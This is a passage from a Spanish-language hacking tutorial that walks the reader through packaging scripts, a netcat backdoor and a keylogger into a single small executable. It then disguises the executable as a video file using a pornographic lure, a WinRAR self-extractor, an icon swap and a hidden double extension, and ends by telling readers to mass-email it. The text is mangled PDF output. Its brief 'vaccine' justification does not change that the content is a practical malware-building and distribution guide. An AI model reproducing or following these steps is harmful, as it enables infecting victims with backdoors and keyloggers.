worm.SED. Y LISTO !!!, al dar doble click en el ejecutable, se

http://hackstudio.net
nkt@hackstudio.net

extraen los archivos en algunas carpetas temporales y se ejecutan


los scripts en el orden que hayas seleccionado. Como lo anterior
fue demostracin, a continuacin se narra como realizar el proceso
de empaquetamiento con los scripts que tenemos:
1. empaqueta en un ejecutable los scripts que contienen la
violacin del registro tanto para la instalacin del malware como
para la evasin del firewall.
2. empaqueta en otro ejecutable el script de distribucin del
malware en carpetas compartidas.
3. empaqueta en otro ejecutable los dos anteriores ejecutables
dicindole al paquete que primero se ejecute el paquete que
realiza la violacin del registro y luego el paquete que realiza
la distribucin. Ahora, tiene que haber quedado un solo ejecutable
que realiza las tres funciones: instalacin del backdoor en el
registro, evasin del firewall y copia del cuerpo del malware en
las carpetas compartidas.
4. empaqueta en otro ejecutable los ejecutables que constituyen el
backdoor. En el caso de este proyecto, ser win32.exe (netcat), y
el keylogger.
5. empaqueta en otro ejecutable, el ejecutable con todos los
scripts y el ejecutable que contiene el backdoor. En este momento
te tiene que quedar un solo ejecutable que contiene (y ejecuta)
inicialmente todos los scripts y adems debe contener el payload
(en este caso, el backdoor).
Vale la pena recalcar que hasta ahora, el malware con todos los
archivos que hemos empaquetado, no pesa ms de 90 Kb. Se ha
conseguido lo que nos hemos propuesto, pues ese valor lo hace un
archivo bastante liviano (y distribuible).
As, de tanto empaquetar y empaquetar, este trabajo, no es sino
pura labor de carpintera.
[6] troyanizacin.
Aunque ya tenemos el malware, necesitamos un mecanismo de
activacin. Obviamente, ese mecanismo es algn usuario ejecute o
de doble click sobre el ejecutable del malware. Para generar
confianza en el usuario a que active el malware, generaremos otro
paquete especial que troyanizar nuestro malware. Para ello
utilizaremos winrar. Ah va !!. Primero, debemos escojer un
anzuelo. Este puede ser un archivo multimedia (preferiblemente).
En el caso de un escenario de una empresa tpica colombiana,
podramos tomar un pedazo de un video con contenido pornogrfico
(casi nadie evita dar doble click sobre algo as). Para no
aumentar mucho el tamao del troyano, podemos tomar cualquier
video en formato .avi y editarlo reduciendo la longitud de la

http://hackstudio.net
nkt@hackstudio.net

secuencia en una aplicacin


Observemos el preview:

de

bastante

uso

como

camtasia.

Al seleccionar aadir al archivo, selecciono la opcin de generar


archivo especial en formato SFX (Archivo auto-extraible):

Luego vamos a la pestaa avanzadas y seleccionamos opciones SFX,


donde podemos establecer la ruta de extraccin de archivos y los
comandos de
ejecucin (scripting) antes y
despus de la
extraccin:

http://hackstudio.net
nkt@hackstudio.net

En Modos, seleccionamos las opciones de Ocultar todo tipo de


animacin al usuario, y en caso de existir el archivo, sobreescribirlo.

Con eso basta. Aunque winrar nos presenta una pltora de mltiples
opciones (entre las cuales est la seleccin de un icono), es
suficiente como para lo que necesitamos. Podemos troyanizar el
malware utilizando cualquier tipo de archivo atractivo para que
el usuario d doble click, p.e. Mp3, jpg, flash (que tambin tiene

http://hackstudio.net
nkt@hackstudio.net

extensin .exe), etc. En este momento, disponemos de un ejecutable


que contiene el malware y un ejecutable que despliega el video
anzuelo. Qu viene ahora??, pues con iexpress puedes crear el
paquete total. Donde se empaquetan tanto el anzuelo (ejecutable
que despliega el video), como el malware en s (el ejecutable
empaquetado que se detall en la seccin anterior). Sin embargo,
si observamos el archivo desde el explorador de windows, se ve que
el paquete total tiene un icono que no se reconoce fcilmente.
Vamos a utilizar la conocida resHacker para cambiar el icono de
tal
manera
que
realmente
parezca
un
archivo
multimedia.
Desplegamos ResHacker, seleccionamos nuestro malware troyanizado y
buscamos el icono de un video dentro del sistema para realizar el
reemplazo. Observemos el preview.

(donde videoCarlaGiraldo.exe es el paquete que contiene tanto el


malware desarrollado en la seccin anterior, como el video
empaquetado anteriormente con winrar).

Seleccionamos cualquier ejecutable desde donde deseamos cargar el


icono (en este caso, para simular un archivo de un verdadero
video, utilizaremos el mismo icono de windows media player, y

http://hackstudio.net
nkt@hackstudio.net

damos la opcin reemplazar. Solo resta guardar el proyecto, y si


observamos nuevamente nuestro archivo desde el explorador podremos
ver un lindo archivo aparentemente de video con el nombre de
nuestro malware troyanizado.

Y LISTO !!!!... Ahora, p.e. En este caso se cambi el nombre por


videoCarlaGiraldo.avi.exe. Si
hablamos de
una red tpica
colombiana con sistemas windows XP en sus instalaciones por
defecto, lo ms seguro, es que en los exploradores de las mquinas
vctimas est habilitada la opcin ocultar extesiones de archivos
conocidos. Lo que har que se oculte la extensin .exe y por lo
tanto el nombre visible del malware realmente aparecer como
videoCarlaGiraldo.avi. Obviamente lo ideal sera que el troyano
se cargue desde un verdadero archivo multimedia. Esto no es
difcil de hacer, sin embargo, ser en otra ocasin, je!, pues.
para los requerimientos de este proyecto, basta con lo hecho hasta
ahora.
Existen un resto de tcnicas alternativas para troyanizar nuestro
malware. Entre ellas estn los Data Streams, Macros en archivos
office,
objetos
ole
incluidos
en
documentos
(basta
con
incrustarlos), wrappers en archivos .flash, ejecucin de comandos
desde archivos que se ejecutan en windows media player, etc. No
las veremos en este documento, pero cualquier desarrollador de
malware puede pasar largos y entretenidos ratos mejorando y
puliendo lo logrado hasta ahora con tcnicas ms refinadas y
diablicas.
Es obvio suponer, que si das doble click sobre el archivo que
contiene el malware troyanizado debe suceder los siguiente:
Explcitamente:
[-] Debe desplegarse
incluido)

el

video

(o

cualquier

tipo

de

anzuelo

Implcitamente (y de forma oculta):


[-] el registro debe haber sido modificado para aceptar que se
abra un puerto por el backdoor sin que el firewall se oponga
[-] el registro debe haber sido modificado para cargar el backdoor
al iniciar la mquina
[-] el cuerpo del troyano debe haberse intentado copiar a las
carpetas compartidas encontradas en la lista de direcciones IP.

http://hackstudio.net
nkt@hackstudio.net

[-] se debe haber abierto la puerta trasera en estado de escucha


de conexiones en el puerto autorizado en el registro
[-] se debe ejecutar cualquier otro proceso incluido, p.e. Para
este proyecto, debera estar en ejecucin el keylogger.
Lo nico que resta, es re-enviar el famoso video a la mayor
cantidad de direcciones de correo electrnico ... y esperar. En el
caso de este proyecto, solo sera necesario detectar puertos
abiertos escuchando conexiones en el puerto 666 ... a lo mejor es
nuetra plaga en accin, :P...
-----------------------------------------------------------------Anlisis y Conclusiones
-----------------------------------------------------------------Es importante tener en cuenta:
[-] No utilizamos ninguna tecnologa sofisticada. Prcticamente
todo se limit al poder de la consola en ejecutar scripts. Todos
los
recursos
requeridos
estaban
totalmente
al
alcance
de
cualquiera.
[-] El conocimiento de todas estas tcnicas anteriormente
mencionadas sirve no solamente para desarrollar proyectos con
intenciones malvolas, tambin sirve para el desarrollo de
vacunas contra malware. Simplemente se empaquetan scripts que con
la capacidad de revertir las actividades maliciosas del malware
que se desea vacunar. En pocas palabras, no solo se trata de
plantear mediante este proyecto tcnicas nocivas para una
infraestructura informtica. El conocimiento de estas tcnicas es
la mejor forma de combatir este tipo de ataques.
[-] Todas las actividades anteriores (excepto el cambio de icono),
son scriptables. Esto significa que con buena prctica y
experiencia, se pueden automatizar (ya lo haremos en su momento).
[-] No necesitamos prcticamente ningn mtodo de programacin (ni
siquiera utilizamos lenguajes de programacin), no necesitamos
ningn
principio
especial
de
la
ingeniera
del
software,
cualquiera con algo de dedicacin est en la capacidad de
desarrollar este tipo de proyectos, no se requiere de la ayuda de
un super-hacker ... todo esto lo podemos hacer prcticamente con
las uas ... ahora lo que debemos aprender es a tener las uas
bien afiladas ...
[-] divirtete, y disfrtalo cuanto puedas ... ah!, y no olvides
invitarme ... nkt@hackstudio.net, nkt.liam@gmail.com . Hasta la
prxima ;P

http://hackstudio.net
nkt@hackstudio.net

-----------------------------------------------------------------Autor
-----------------------------------------------------------------Guillermo Jurado. Ingeniero en Electrnica y Telecomunicaciones de
la Universidad del Cauca. Grupo de Investigacin en Tecnologas de
la
Informacin
(GTI),
rea
de
Investigacin
en
Seguridad
Informtica, Egresado 2003. Es "Hacktivista" con una Experiencia
de casi 8 aos en Investigacin y Desarrollo de Soluciones en
Seguridad Informtica e Inteligencia Artificial. El Prototipo del
Proyecto InForce Technology recibi el reconocimiento de Mencin
de Honor por Trabajo Innovador en el rea de Seguridad
Informtica. Actualmente reside en Popayn-Cauca, y trabaja para
la Universidad del Cauca en el rea de Sistemas. Es Desarrollador
Avanzado
en
tecnologas
JAVA
(J2SDK,
J2EE),
investiga
en
Metodologas y Estndares de Calidad de Software, y trabaja en el
surgimiento de hackStudio [http://hackstudio.net] , Proyecto
Empresarial cuyo Core (ncleo) de Negocio es la Investigacin y
Desarrollo de Soluciones en Tecnologa Informtica. Es el
Arquitecto y Principal Desarrollador de InForce Technology y
HackStudio Project, y Dedica su Tiempo Disponible en la Edicin de
su Propuesta Investigativa: "Ingeniera en Seguridad Informtica"
que estar disponible al Pblico en Formato de Libro (si es que
algn da la termina, jeje).
Contactos en nkt@hackstudio.net , nkt.liam@gmail.com
Cel. 300 651 0946
-----------------------------------------------------------------Breve Bibliografa
-----------------------------------------------------------------[-] ZELTSER, Lenny. Malware: Fighting malicious code. 2003
[-] HOGLUND,
Kernel. 2005

Greg.

BUTLER,

James.

Rootkits:

Subverting

the

Windows

[-] FOSTER, James. Sockets, Shellcode, Porting & Coding. Reverse


Engineering Exploits and Tools Coding for Security Professionals. 2005
[-] LUDWIG, Mark. The Little Black Book of computer Viruses. Editorial
American eagle publications.
[-] RODAO, Jess. Virus de Sistemas Informticos e Internet. Editorial
Alfa Omega 2000.
[-] Virus Bulletin, Octubre 2005 Enero 2006. http://www.virusbtn.com
[-] http://www.hispasec.com/directorio/laboratorio/articulos/

También podría gustarte